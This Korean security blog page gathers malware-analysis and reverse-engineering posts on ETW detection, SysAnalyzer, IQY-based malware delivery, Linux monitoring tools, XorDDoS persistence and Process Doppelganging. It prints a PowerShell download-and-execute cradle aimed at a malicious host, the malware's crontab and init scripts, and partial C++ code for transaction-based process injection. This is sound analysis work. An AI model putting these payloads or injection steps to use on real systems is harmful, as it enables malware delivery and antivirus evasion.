no image
네트워크 패킷 캡처 (Windows)
개요 네트워크 패킷을 캡처하기 위한 방법에 대해 알아보고 이에 대해 대응방안이 무엇이 있을지 고민한 내용 네트워크 캡처 라이브러리 실제 wireshark와 같이 네트워크 패킷을 직접 캡처하여 패킷 내용 및 통신 IP 등을 확인 Packet.dll (Npcap) NMAPI.dll (MS - Microsoft Network Monitor3) wpcap.dll (Winpcap) 이러한 방식의 경우 동작 중인 Process의 DLL 목록을 확인하여 대상 프로세스를 확인 할 수 있다. ETW (Event Tracing for Windows) ETW의 경우 Windows에서 제공해주는 기본 기능으로 관련 DLL은 ADVAPI32.dll로 위와 같이 탐지하기에는 너무 보편적인 경우이다. 이를 탐지하기 위해서 고려할 ..
2020.11.25
no image
SysAnalyzer Tool (동적분석 도구)
Intro SysAnalyzer 는 오픈소스 기반의 자동화 악성코드 분석 도구이다. 기본적으로 여러 도구의 기능이나 기타 편의적인 기능이 제공되고 있다. 아래는 공식홈페이지에서 제공하는 설명이다. SysAnalyzer Overview SysAnalyzer is an open source application that was designed to give malcode analysts an automated tool to quickly collect, compare, and report on the actions a binary took while running on the system. A full installer for the application is available and can be downl..
2019.01.04
no image
IQY File - Using Malware Campaign
Intro IQY 파일을 이용한 악성코드 유포 사례가 종종 발생한다. 이에 대해 자세히 알아보기 위해, IQY 파일이 무엇인지, 그리고 어떻게 악성코드 유포에 사용되는지 알아보고자 한다. IQY File IQY 파일이란 Excel Web Query 파일로, 인터넷의 있는 데이터를 Excel 로 직접 가져온다. 파일 포멧은 아래와 같은 형태를 띈다. 이는 "www.google.com" 의 데이터를 가지고 오는 IQY 파일로, URL 인 "https://www.google.com/" 을 제외한 다른 내용은 자동으로 추가 된 것이다. 아래는 IQY 파일을 생성하거나 가져오기 위해서는 Excel 의 "데이터", "웹" 을 클릭하면 아래와 같은 화면의 나타난다. 위 그림에서 저장 버튼을 눌러 IQY 파일로 저장 ..
2018.10.23
no image
Linux 동적 분석 Tool
Monitoring ToolStrace 를 이용한 동작 확인 및 모니터링 의존성 문제로 인해 OS 별로 실행되지 않는 경우가 빈번할 수 있다. 이를 위해 해당 OS 에서 동작하는지 빠르게 확인하기 위해 사용하는 방법으로 Strace 가 존재한다. 아래 예시는 strace 로 "ls" 를 실행한 결과이다. 마지막에 exited with 0 으로 정상적으로 종료가 되었음을 확인 할 수 있다. remnux@remnux:~/Desktop$ strace ls execve("/bin/ls", ["ls"], [/* 68 vars */]) = 0 brk(0) = 0xbc1000 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) acce..
2018.04.08
no image
XorDDos Analysis Report
개요기본적인 파일 정보는 아래와 같다. File Name : U******9 Diag Name : Linux/Xarceen.Gen Linux "file" 명령어를 통한 결과는 아래와 같다. 굵게 표시한 부분들을 통해 각각 32bit ELF 파일, 정적으로 컴파일, 스트립 되지 않은 파일임을 확인 할 수 있다. remnux@remnux:~/sample$ file U******9 UpTip999: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped 요약해당 악성코드는 공격자에 의해 감염 후, 원격지와 통신을 수행한다. 이 통신을 통해 공격하고자 하는 대상의 IP ..
2018.04.08
Process Doppelganging
Overview2017년 말에 발표된 새로운 공격 기법으로, 기존의 Injection 방식과는 다른 방식을 사용한다. 특징은 아래와 같다. 파일 기반 탐지 방식 위주의 백신사가 대부분 탐지하지 못하는 공격 기법 NTFS 의 Transaction 기능을 이용한다는 점 공격 가능한 대상은 아래와 같다. Windows Vista 부터 Windows 10 이전 (Windows 10 에서는 BSoD 발생) 기존의 잘 알려진 방식의 공격 기법으로는 아래와 같다. Process 를 Creation Flag - Suspended 상태로 생성 후 Payload 내용으로 교체 원격 스레드를 생성하여 Payload 실행 하지만 Process Doppelganging 공격의 핵심은 NTFS 의 Transaction 기능을 이..
2018.02.13
no image
Dynamic Data Exchange (DDE)
Overview문서형 악성코드의 경우 Macro 나 Script 등을 이용하여 악성동작을 수행하였다. 하지만 최근 DDE 기능을 악용하는 악성코드가 나타나고 있어, 이에 대해 소개하고자 한다. DDE우선 DDE 에 대하여 알아보자. DDE 는Dynamic Data Exchange 의 약어로, 응용 프로그램 간의 데이터 공유를 위한 방법이다. 예로 워드와 엑셀 간의 데이터 공유가 있다. DDE 를 활용하기 위해 MS Word 에서 아래와 같이 따라가보자. 삽입 - 빠른 문서 요소 - 필드- 필드 이름: "= (Formula)" - 확인 * MS Word 2016 기준 아래와 같이 "!수식의 끝이 잘못되었습니다" 라고 출력 될 것이다. 해당 부분을 마우스 우측으로 클릭 후 "필드 코드 토글" 을 클릭해보자...
2017.11.12
no image
Atombombing 기법
OverviewAtomBombing 에 대해 개인적으로 공부하면서 정리한 내용이다. 주로 참고한 자료는 PoC 코드와 원문 블로그 내용이다. 원문 블로그에서는 Stage 를 3개로 나누었지만, 필자의 경우 개인적인 학습에 의미를 두며 4단계로 나누었다. 혹시 읽는 분은 참고바란다. 전체적인 동작은 아래 흐름도와 같다. 1. 악성 프로세스는 대상 프로세스에서 실행 시킬 ShellCode 를 Atom Table 에 추가 2. 대상 프로세스가 Atom Table 로부터 ShellCode 를 가지고 오게 하도록 APC 를 사용 3. APC 를 통해 조작된 대상 프로세스는 ShellCode 를 가지고 온 뒤 DEP 후회를 위한 ROP Chain 사용 대상 프로세스에 개입하기 위해 주로 사용하는 API 는 아래와 ..
2017.05.28

개요

  • 네트워크 패킷을 캡처하기 위한 방법에 대해 알아보고 이에 대해 대응방안이 무엇이 있을지 고민한 내용

 

네트워크 캡처 라이브러리

실제 wireshark와 같이 네트워크 패킷을 직접 캡처하여 패킷 내용 및 통신 IP 등을 확인

  • Packet.dll (Npcap)

  • NMAPI.dll (MS - Microsoft Network Monitor3) 

  • wpcap.dll (Winpcap)

이러한 방식의 경우 동작 중인 Process의 DLL 목록을 확인하여 대상 프로세스를 확인 할 수 있다.

 

ETW (Event Tracing for Windows)

ETW의 경우 Windows에서 제공해주는 기본 기능으로 관련 DLL은 ADVAPI32.dll로 위와 같이 탐지하기에는 너무 보편적인 경우이다. 이를 탐지하기 위해서 고려할 수 있는 방안 중 하나는 TraceSession을 이용하여 탐지하는 방식이 있을 것 같다.

1) 레지스트리 내 Autologger 목록 획득

  • 해당 프로그램(게임, 악성코드 등) 실행 시 레지스트리 Autologger에 등록된 리스트(목록1)을 획득하여 이후 비교에 사용

  • Autologger에 등록된 각 키의 ‘Start’의 값이 1인 경우 부팅 시 자동으로 실행되어 TraceSession이 생성

 

Step2) ETW TraceSession 목록을 획득하여 1번 과정에서 획득한 목록과 주기적으로 비교

게임 실행 후 Windows 기본 유틸리티인 ‘logman’ 등을 활용하여 주기적으로 활성화된 ETW TraceSession을 획득(목록2)

Autologger 레지스트리(목록1)에는 존재하지 않지만 logman을 통해 확인(목록2)했을 때 존재하는 항목을 선별하여 추가된 세션이 있는 경우 이에 대해 해당 유저 및 세션 이름을 로깅

Autologger 레지스트리에는 존재하지 않지만 활성화된 TracecSession의 경우 Privatelogger/Systemlogger 등을 통해 생성됨.

이와 같이 동작하기 위해선 registry 정보 조회, windows 기본 유틸리티인 logman 사용의 과정이 필요

 

ETC.

P2P 통신의 경우 UDP 방식을 주로 사용하고 있기에 (참고 : https://gpgstudy.com/forum/viewtopic.php?t=7421), 상대방과의 통신을 확인하기 위해 netstat 같은 명령어를 사용해도 확인할 수 없음(상대와 세션을 맺지 않기(?)때문).

그렇기에 상대방 IP 및 Port 등을 확인하려면 패킷 캡쳐 필요

'O / S > Window' 카테고리의 다른 글

Windows Event Message  (0) 2016.07.13
Windows Multi Task  (0) 2016.07.08
Windows Service  (0) 2016.06.21
Windows Boot Process (Vista 이상ver 부팅 과정)  (0) 2016.04.13
CSIDL 값  (0) 2016.02.20
Intro

SysAnalyzer 는 오픈소스 기반의 자동화 악성코드 분석 도구이다. 기본적으로 여러 도구의 기능이나 기타 편의적인 기능이 제공되고 있다. 아래는 공식홈페이지에서 제공하는 설명이다.

SysAnalyzer Overview

SysAnalyzer is an open source application that was designed to give malcode analysts an automated tool to quickly collect, compare, and report on the actions a binary took while running on the system. 

A full installer for the application is available and can be downloaded here . The application supports windows 2000 - windows 10. Including x64 support. 

The main components of SysAnalyzer work off of comparing snapshots of the system over a user specified time interval. The reason a snapshot mechanism was used compared to a live logging implementation is to reduce the amount of data that analysts must wade through when conducting their analysis. By using a snapshot system, we can effectively present viewers with only the persistent changes found on the system since the application was first run. 



Interface

실행 시 기본적인 인터페이스는 아래와 같다.

  • Executable, Arguments : 실행 파일 경로 및 인자
  • Delay(secs) : Snapshot 전, 후 사이의 시간 값 지정
  • Use SnifHit : HTTP 접속 및 IRC 접속 정보를 확인
  • Use Api Logger : 호출 되는 API 목록을 획득
  • Directory Watcher : 모니터링 시점에 생성되는 모든 파일 획득


Example

해당 Tool 을 사용하여 몇 샘플을 분석해보자. 
참고 : 아무 동작을 하지 않고 종료되는 프로세스가 있을 수도 있으므로, Process Explorer 는 같이 켜놓는게 좋다.
실행 파일 지정 및 시작

하단에 두번째 Snapshot 까지 남은 시간을 기록함.

두 번째 snapshot 을 찍은 후, 상기의 화면 외에 Report File Viewer 가 새로 나타남. 내용은 동일.


이래한 결과들이 analysis 폴더에 파일로 저장됨.




샘플 분석 결과 정리
Process

File

Registry

Network


이와 같이 직접 확인해도 되지만, SysAnalyzer 의 강점은 바로 Report 를 출력해준다. 아래 내용은 "Report File Viewer" 의 "Report_실행시간.log" 결과 내용이다.
Processes:
PID    ParentPID    User    Path *    Service    
--------------------------------------------------
3076     3304    Administrator    C:\Windows\system32\svchost.exe        

Ports:
Port    PID    Type    Path *    Service    
--------------------------------------------------
65531     3076    TCP    C:\Windows\system32\svchost.exe        

Mutexes:
PID    Name *    
--------------------------------------------------
3076    \Sessions\1{EDFF96B3-5333-47AE-8DE6-022BB460FD36}    

Tasks:
Name    Executable    
--------------------------------------------------

Monitored Process Dlls:
pid    cnt    Name    
--------------------------------------------------

Loaded Drivers:
Driver File *    Company Name    Description    
--------------------------------------------------

Monitored RegKeys
Path    Value *    
--------------------------------------------------
HKLM\Software\Microsoft\Windows\CurrentVersion\Run    {EDFF96B3-5333-47AE-8DE6-022BB460FD36}=C:\Windows\CppServer.exe    

DirwatchData
Action    Size    File    
--------------------------------------------------
WatchDir Initilized OK            
Watching C        \    
Created        C:\Windows\CppServer.exe    
Modifed        C:\Windows    
Modifed        C:\Windows\CppServer.exe    
Modifed        C:\Windows\Prefetch    
Modifed    40000    C:\Windows\System32\config\SOFTWARE.LOG1    
Modifed    1740000    C:\Windows\System32\config\SOFTWARE    
Modifed    40000    C:\Users\Administrator\ntuser.dat.LOG1    
Modifed    1F400    C:\Users\Administrator\AppData\Local\Microsoft\Windows\UsrClass.dat.LOG1    
Modifed    40000    C:\Users\Administrator\AppData\Local\Microsoft\Windows\UsrClass.dat    
Created        C:\Windows\Microsoft.NET\Framework\v2.0.50727\ngen_service.lock    
Modifed        C:\Windows\Microsoft.NET\Framework\v2.0.50727    
Modifed    1E84A0 +    C:\Windows\Microsoft.NET\Framework\v2.0.50727\ngen_service.log    


예제 샘플(CppServer.exe) 는 실행 시 svchost.exe 를 생성 후, 자기 자신을 인젝션(RunPE)한다. 이러한 점을 참고하였을때 SysAnalyzer 는 자동으로 생성 된 프로세스 덤프 한다. 첫 번째와 두 번째는 실제 인젝션 된 CppServer.exe 와 동일하다. 마지막 세 번째(svchost_sample.exe_) 의 경우 해당 환경에 존재하는 정상 svchost.exe 파일임을 확인했다.





 

API Log 부분에 대해 자세히 확인해보자. installing hooks 의 경우, 실행시킬 악성코드에 대해 Hook 을 설치하는 것이다. 실제 악성코드의 동작은 굵게 표시한 부분부터 시작된다. CopyFile, RegSetValueEx, VirtualAllocEx 등이 존재한다. 하지만 실제 파일의 코드를 확인해보면 VirtualAllocEx 이후, NtWriteProcessMemory, NtGetThreadContext, NtSetThreadContext, NtResumeThread 등이 호출된다. 이에 대해서는 기록되지 않았다. 이외에도 svchost.exe 를 생성할 때 사용된 API 인, NtCreateProcess 도 존재하지 않다.
--------------------------------------------------
ce8,464,***** Installing Hooks *****    
ce8,464,***config:handler:100079f0    
ce8,464,***config:noSleep    
ce8,464,***config:noGetProc    
ce8,464,***config:noRegistry    
ce8,464,***config:queryGetTick    
ce8,464,***config:blockOpenProcess    
ce8,464,***config:blockDebugControl    
ce8,464,***config:ignoreExitProcess    
ce8,464,***config:hooklibLogLevel    
ce8,464,76ef19ff     GetSystemTime()    
ce8,464,Install hook CreateProcessInternalW failed...Error:
    
ce8,464,77043c4c     ExitThread()    
ce8,dc8,1331780     GetStartupInfoW()    
ce8,dc8,13324b4     GetStartupInfoW()    
ce8,dc8,133148f     CopyFileA(C:\Users\Administrator\Desktop\CppServer.exe->C:\Windows\CppServer.exe)    
ce8,dc8,77028fcf     CloseHandle(h=80)    
ce8,dc8,7702a963     CloseHandle(h=84)    
ce8,dc8,7702ad07     CloseHandle(h=80)    
ce8,dc8,7702ad15     CloseHandle(h=7c)    
ce8,dc8,13314b2     RegCreateKeyA (HKLM\Software\Microsoft\Windows\CurrentVersion\Run)    
ce8,dc8,13314df     RegSetValueExA ({EDFF96B3-5333-47AE-8DE6-022BB460FD36})    
ce8,dc8,75b67a17     VirtualAllocEx(h=ffffffff, addr=0, sz=8e00,type=3000, prot=4) = 100000    
ce8,dc8,133160c     VirtualAllocEx(h=80, addr=400000, sz=d000,type=3000, prot=40) = 400000    
ce8,dc8,7703caa4     CloseHandle(h=0)    
ce8,dc8,***** Injected Process Terminated *****    


중간 사용 후기

얼마 사용하지 않았지만, 느낀점은 아래와 같다.
- 여러 도구가 하나로 종합 된 느낌
- 간단한 동적 분석을 하기에 아주 용이
- 프로세스 생성 시, 그에 대한 Dump 와 Sample 파일까지 보여주는 것은 아주 훌륭(귀찮음을 덜어줌)
- 친숙해지면 아주 편리한 도구가 될 것같음
- API Log 의 경우, Nt- Zw- 함수는 기록되지 않는 것 같다.


'Reversing > Theory' 카테고리의 다른 글

IQY File - Using Malware Campaign  (0) 2018.10.23
Linux 동적 분석 Tool  (3) 2018.04.08
Process Doppelganging  (0) 2018.02.13
Dynamic Data Exchange (DDE)  (0) 2017.11.12
Atombombing 기법  (0) 2017.05.28
Intro

IQY 파일을 이용한 악성코드 유포 사례가 종종 발생한다. 이에 대해 자세히 알아보기 위해, IQY 파일이 무엇인지, 그리고 어떻게 악성코드 유포에 사용되는지 알아보고자 한다.




IQY File

IQY 파일이란 Excel Web Query 파일로, 인터넷의 있는 데이터를 Excel 로 직접 가져온다. 파일 포멧은 아래와 같은 형태를 띈다. 이는 "www.google.com" 의 데이터를 가지고 오는 IQY 파일로, URL 인 "https://www.google.com/" 을 제외한 다른 내용은 자동으로 추가 된 것이다.



아래는 IQY  파일을 생성하거나 가져오기 위해서는 Excel 의 "데이터", "웹" 을 클릭하면 아래와 같은 화면의 나타난다.



위 그림에서 저장 버튼을 눌러 IQY 파일로 저장 후, 이를 실행하면 아래와 같이 나타나는 것을 확인 할 수 있다. "사용" 버튼을 누를 경우, 지정된 우베 페이지의 데이터를 읽어온다.



Analysis

예시로 분석할 IQY 샘플에 대한 정보는 아래와 같다.

MD5 : d2a63814440f8d054d78b03b48f7a3df


해당 샘플을 아래와 같이 지정된 URL 에 쿼리를 하여 데이터를 받아오는 IQY 파일이다.

URL> http://clodflarechk.com/2.dat


성공적으로 데이터를 받아올 경우 아래와 같은 코드가 존재하는 것을 확인할 수 있다.

=cmd|' /c C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -NoExit -c IEX ((new-object net.webclient).downloadstring(\"http://clodflarechk.com/1.dat\"))'!A0


데이터를 받아온 후, Excel Formulas 의 "CMD" 명령어에 따라 파워쉘을 실행시키려 한다. 이때 사용자에게 아래와 같이 경고 화면이 나타나며, "예" 를 누를 경우 위의 코드가 동작하여 파워쉘이 실행된다.


파워쉘은 상기와 동일한 주소로부터 1.dat 를 다운로드 한다. 하지만 현재 해당 서버와 정상적으로 연결이 이루어지지 않아 1.dat 를 다운로드할 수는 없다. 



Conclusion

정상적으로 연결이 되지 않아, 이후의 분석은 불가능하지만, 위와 같은 방식을 사용하여 추가적인 악성 동작을 수행할 수 있다는 점을 기억하자.



ETC.

 pastebin 에서 데이터를 받아 calc.exe 를 실행시키는 내용의 xlsx 를 만들었다. 
- IQY Data : https://pastebin.com/rawL8SpP37V
- Pastebin Data : =cmd | ' /c C:\Windows\System32\calc.exe'

해당 xlsx 파일을 압축 해제하여 열어보면 위의 내용을 아래의 파일들에서 확인할 수 있다.
- [Extracted_Path]\xl\connections.xml : iqy 파일과 관련된 내용이 존재
- [Extracted_Path]\xl\externalLinks\externalLink1.xml : iqy 파일을 통해 한번 실행했던 문자열 관련 정보가 존재

> connections.xml

> externalLink1.xml




Reference

Blog



'Reversing > Theory' 카테고리의 다른 글

SysAnalyzer Tool (동적분석 도구)  (3) 2019.01.04
Linux 동적 분석 Tool  (3) 2018.04.08
Process Doppelganging  (0) 2018.02.13
Dynamic Data Exchange (DDE)  (0) 2017.11.12
Atombombing 기법  (0) 2017.05.28
Monitoring Tool

Strace 를 이용한 동작 확인 및 모니터링

의존성 문제로 인해 OS 별로 실행되지 않는 경우가 빈번할 수 있다. 이를 위해 해당 OS 에서 동작하는지 빠르게 확인하기 위해 사용하는 방법으로 Strace 가 존재한다.

아래 예시는 strace 로 "ls" 를 실행한 결과이다. 마지막에 exited with 0 으로 정상적으로 종료가 되었음을 확인 할 수 있다.

remnux@remnux:~/Desktop$ strace ls
execve("/bin/ls", ["ls"], [/* 68 vars */]) = 0
brk(0)                                  = 0xbc1000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=107852, ...}) = 0
mmap(NULL, 107852, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f5b620e9000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/x86_64-linux-gnu/libselinux.so.1", O_RDONLY|O_CLOEXEC) = 3
...........
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f5b62103000
write(1, "linux_server  REMnux Cheat Sheet"..., 66linux_server  REMnux Cheat Sheet  REMnux Docs  REMnux Tools Sheet
) = 66
close(1)                                = 0
munmap(0x7f5b62103000, 4096)            = 0
close(2)                                = 0
exit_group(0)                           = ?
+++ exited with 0 +++


Sysdig 를 이용한 모니터링
다양한 필터를 가지고 있으며, Windows 의 Procmon 같은 녀석




Network 관련 도구

WireShark 를 통한 네트워크 패킷 분석



netstat -anp 를 통해 네트워크 연결 상태 조회



Windows 의 TCPView 와 같은 명렁어
$ watch -pn 0.1 "netstat -nap"




Process 관련 도구

ps -e -f | grep ~~~


pstree



Gnome-System-monitor



htop




'Reversing > Theory' 카테고리의 다른 글

SysAnalyzer Tool (동적분석 도구)  (3) 2019.01.04
IQY File - Using Malware Campaign  (0) 2018.10.23
Process Doppelganging  (0) 2018.02.13
Dynamic Data Exchange (DDE)  (0) 2017.11.12
Atombombing 기법  (0) 2017.05.28
개요

기본적인 파일 정보는 아래와 같다.

File Name : U******9
Diag Name : Linux/Xarceen.Gen

Linux "file" 명령어를 통한 결과는 아래와 같다.  굵게 표시한 부분들을 통해 각각 32bit ELF 파일, 정적으로 컴파일, 스트립 되지 않은 파일임을 확인 할 수 있다.
remnux@remnux:~/sample$ file U******9
UpTip999: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped


요약

해당 악성코드는 공격자에 의해 감염 후, 원격지와 통신을 수행한다. 이 통신을 통해 공격하고자 하는 대상의 IP 주소를 얻어온다. 그 후 대량의 Packet 을 대상 주소로 전송하는 악성코드이다.





분석

자가 복사

해당 샘플의 경우 대상 환경에서의 지속성을 향상시키기 위하여 자기 자신을 복사한다. 복사되는 경로는 아래와 같다.
  • /usr/bin/{random_filename}
  • /bin/{random_filename}
  • /tmp/{random_filename}
  • /lib/libudev4.so



지속성 유지
추가적으로 악성 샘플을 다시 실행시키기 위해 '/etc/crontab' 파일을 변조한다. crontab 파일은 Windows 의 작업 스케쥴러와 같은 역할을 하며, 맨 마지막 줄의 내용이 추가된 것을 확인 할 수 있다. 해당 내용은 3분 마다 /etc/cron.hourly/gcc4.sh 를 실행하는 것이다.

remnux@remnux:~/test$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
*/3 * * * * root /etc/cron.hourly/gcc4.sh


gcc4.sh 는 상기에 설명한 바와 같이 복사한 자기 자신(/lib/libudev4.so) 을 libude4.so.6 라는 이름으로 복사 후 실행시키는 내용이다.

remnux@remnux:~/test$ cat /etc/cron.hourly/gcc4.sh
#!/bin/sh
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin
cp /lib/libudev4.so /lib/libudev4.so.6
/lib/libudev4.so.6


/etc/init.d 에도 Random 한 이름을 파일을 생성한다. 

remnux@remnux:~/test$ cat /etc/init.d/{random_filename}
#!/bin/sh
# chkconfig: 12345 90 90
# description:{random_filename}
### BEGIN INIT INFO
# Provides:{random_filename}
# Required-Start:
# Required-Stop:
# Default-Start: 1 2 3 4 5
# Default-Stop:
# Short-Description: {random_filename}
### END INIT INFO
case $1 in
start)
/usr/bin/{random_filename}
;;
stop)
;;
*)
/usr/bin/{random_filename}
;;
esac


또한 "/etc/rc*.d" 경로 밑에 S90{random_filename} 의 형태로 위의 "/etc/init.d/{random_filename}" 을 가리키는 Link 파일을 생성한다. 여기서 rc*.d 폴더는 부팅 레벨에 따라, 각각의 부팅 레벨 폴더에 있는 파일들을 자동으로 실행하는 경로이다.



네트워크 (DDoS)

아래 주소를 DNS 요청으로 얻어오며, TCP Packet 과 UDP Packet 을 전송하는 것을 확인 할 수 있다. 해당 주소로부터 공격 대상에 대한 IP 주소를 받아온다.
  • 114.***.***.114 ; 중국의 네임 서버
  • 137.***.***.224 ; 원격지 주소 (공격 대상의 주소를 얻어옴)


원격지와의 통신을 통해 암호화 된 공격 대상의 IP 주소를 받아온다. 그 후 encrypt_code 부분을 통해 XOR 연산을 하여 해당 내용을 복호화 한다. 분석 당시ㅡ복호화 된 내용을 보면 0xc******8 로 IP 주소 104.***.***.203 을 가리키고 있다.


공격 대상의 주소를 가지고 온 뒤, 아래와 같이 대상 주소에 수 많은 패킷을 보낸다. 과도한 Packet 전송 동작 등을 보아 DDoS 공격 행위로 추정된다.


분석 당시ㅡ공격 대상이 되는 곳에 대해 조사한 결과, 아래와 같이 SharkTech 라는 곳을 알 수 있었다. 또한 대상은 DDoS 보호 서비스와 관련 된 사이트임을 알 수 있다.



기타
# 1
실행 시 자신을 Background 에서 실행되도록 한다.



#2
통신 중 지정 된 신호를 받을 경우 다운로드 동작을 수행 할 수 있다. 다운로드 주소는 공격자가 지정 할 수 있으며, 다운로드 완료 후 해당 파일을 실행한다.



#3
해당 샘플이 통신하는 dns.bbgbbg.top 의 경우 Whois 결과가 아래와 같다. 이는 whois guard 에 의해 보호된 주소임을 알 수 있다.

Domain Name: b****g.t*p
Registry Domain ID: D20160920G10001G_81549331-top
Registrar WHOIS Server: whois.namecheap.com
Updated Date: 2016-09-20T00:04:28Z
Creation Date: 2016-09-20T00:04:24Z
Registry Expiry Date: 2020-09-20T00:04:24Z
Registrar: Namecheap Inc.
Registrar IANA ID: 1068
Registrar Abuse Contact Email: abuse@namecheap.com
Registrar Abuse Contact Phone: +1.6613102107
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Registry Registrant ID: C20160920C_09331172-top
Registrant Name: WhoisGuard Protected
Registrant Organization: WhoisGuard, Inc.
Registrant Street: P.O. Box 0823-03411
Registrant City: Panama
Registrant State/Province: Panama
Registrant Postal Code: 0
Registrant Country: PA
Registrant Phone: +507.8365503
Registrant Phone Ext:
Registrant Fax: +51.17057182
Registrant Fax Ext:
Registry Admin ID: C20160920C_09331173-top
Admin Name: WhoisGuard Protected
Admin Organization: WhoisGuard, Inc.


#4
지속적으로 랜덤한 문자열을 생성 후, "/lib/libudev4.so" 를 해당 이름으로 복사한다. 그리고 한번에 5개씩 해당 이름으로 프로세스를 생성한다.  하기의 동작은 반복적으로 이루어지기 때문에, 반복적으로 생성&소멸 된다.


이 때,  기존의 랜덤한 이름의 또 다른 자기 자신은 아래와 같이 삭제한다.



#5
프로세스의 도입부에서 아래의 문자열을 복호화한다.
cat resolv.conf
sh
bash
su
ps -ef
ls
ls -la
top
netstat -an
netstat -an
top
grep "A"
sleep 1
cd /etc
echo "find"
ifconfig eth0
ifconfig
route -n
gnome-terminal
id
who
whoami
pwd
uptime

복호화 된 문자들은 아래와 같이 execve 명령을 통해 악성프로세스의 인자로 주어지게 된다.






대응 방안

프로세스 종료

동작 중인 프로세스에 대해 종료해야 한다. 종료하고자 하는 프로세스의 이름은 아래와 같은 형태이며, 동일한 이름을 가진 5개의 프로세스와, 자식-부모 관계를 갖고 있는 4개의 프로세스를 추가로 삭제해야 한다.
  • {random_10_chrar_filename}

파일 삭제
악성코드가 감염 환경에서의 지속성을 유지하기 위한 요소들을 제거해야 한다.
  • /usr/bin/{random_filename}
  • /bin/{random_filename}
  • /tmp/{random_filename}
  • /etc/rc*.d/S90{{random_filename}
  • /etc/init.d/{random_filename}
  • /etc/cron.hourly/gcc4.sh


고려 사항

  • 잔여 프로세스가 계속 실행되고 있음ㅡ아마 잔여프로세스가 새로운 이름으로 원본 파일을 실행할 것으로 추정
  • crontab 에 의해 3분마다 다시 프로세스 실행
  • 이와 같은 경우 Windows 라면 메모리 진단 및 치료를 수행, 하지만 수동 치료의 경우에는?


Overview

2017년 말에 발표된 새로운 공격 기법으로, 기존의 Injection 방식과는 다른 방식을 사용한다. 특징은 아래와 같다.

  • 파일 기반 탐지 방식 위주의 백신사가 대부분 탐지하지 못하는 공격 기법
  • NTFS 의 Transaction 기능을 이용한다는 점

공격 가능한 대상은 아래와 같다.
  • Windows Vista 부터 Windows 10 이전 (Windows 10 에서는 BSoD 발생)

기존의 잘 알려진 방식의 공격 기법으로는 아래와 같다.
  • Process 를 Creation Flag - Suspended 상태로 생성 후 Payload 내용으로 교체
  • 원격 스레드를 생성하여 Payload 실행

하지만 Process Doppelganging 공격의 핵심은 NTFS 의 Transaction 기능을 이용하는 것이다. Windows NTFS 에서 Transactions 는 하나의 작업 단위로 묶은 것으로, 쉽게 말해 발생한 동작들을 구분하여 저장하는 것이다. 그리고 필요할 경우 이 구분 된 동작의 과정을 되돌리는 것이다. 

// 아래에서 설명할 Code 는 이해를 쉽게 하기 위해 2 개를 혼용한 것이다. 정확한 동작 Code 가 궁금하다면, Reference 의 PoC Code 1, 2 를 보면 된다.


Execute

악성 파일을 생성 후 실행할 때, File I/O 를 Transaction 로 열고 Commit 이 아닌 Rollback 을 한다. 이로 인해 OS 에서는 파일이 생성되지 않은 것이 된다.

사용되는 API 는 아래와 같다.

CreateTransaction
CreateFileTransacted
WriteFile
NtCreateSection
RollBackTransaction
NtCreateProcessEx

필자가 아래와 같이 임의로 5 단계로 나누어 설명할 것이다

Step 1 : open a transaction file i/o
Step 2 : load a payload section from dummy file
Step 3 : create a process
Step 4 : setting PEB
Step 5 : Update PEB and create a primary thread



Step 1 
Transaction File I/O 를 생성하기 위해 먼저, Transaction Object 를 생성한다.

HANDLE hTransaction = CreateTransaction(nullptr, nullptr, options, isolationLvl, isolationFlags, timeout, nullptr);
if (hTransaction == INVALID_HANDLE_VALUE) {


    std::cerr << "Failed to create transaction!" << std::endl;
    return false;
}

생성한 Transaction Object 를 가지고 Transaction 가능한 File I/O 를 생성한다. 여기서 생성할 File 은 어차피 저장되지 않을 Dummy 파일이다. 

HANDLE hTransactedFile = CreateFileTransactedW(dummy_name,

    GENERIC_WRITE | GENERIC_READ,
    0,
    NULL,
    CREATE_ALWAYS,
    FILE_ATTRIBUTE_NORMAL,
    NULL,
    hTransaction,
    NULL,
    NULL
);
if (hTransactedFile == INVALID_HANDLE_VALUE) {

    std::cerr << "Failed to create transacted file: " << GetLastError() << std::endl;
    return false;

}

DWORD writtenLen = 0;
if (!WriteFile(hTransactedFile, payladBuf, payloadSize, &writtenLen, NULL)) {
    std::cerr << "Failed writing payload! Error: " << GetLastError() << std::endl;
    return false;

}


Step 2
생성한 더미 파일을 가지고 새로운 Section 을 만들어준다. 이 때 생성한 Section 은 뒤에서 새로운 Process 의 Base 가 된다.

HANDLE hSection = nullptr;
NTSTATUS status = NtCreateSection(&hSection,
    SECTION_ALL_ACCESS,
    NULL,
    0,
    PAGE_READONLY,
    SEC_IMAGE,
    hTransactedFile
);
if (status != STATUS_SUCCESS) {


    std::cerr << "NtCreateSection failed" << std::endl;
      return false;
}

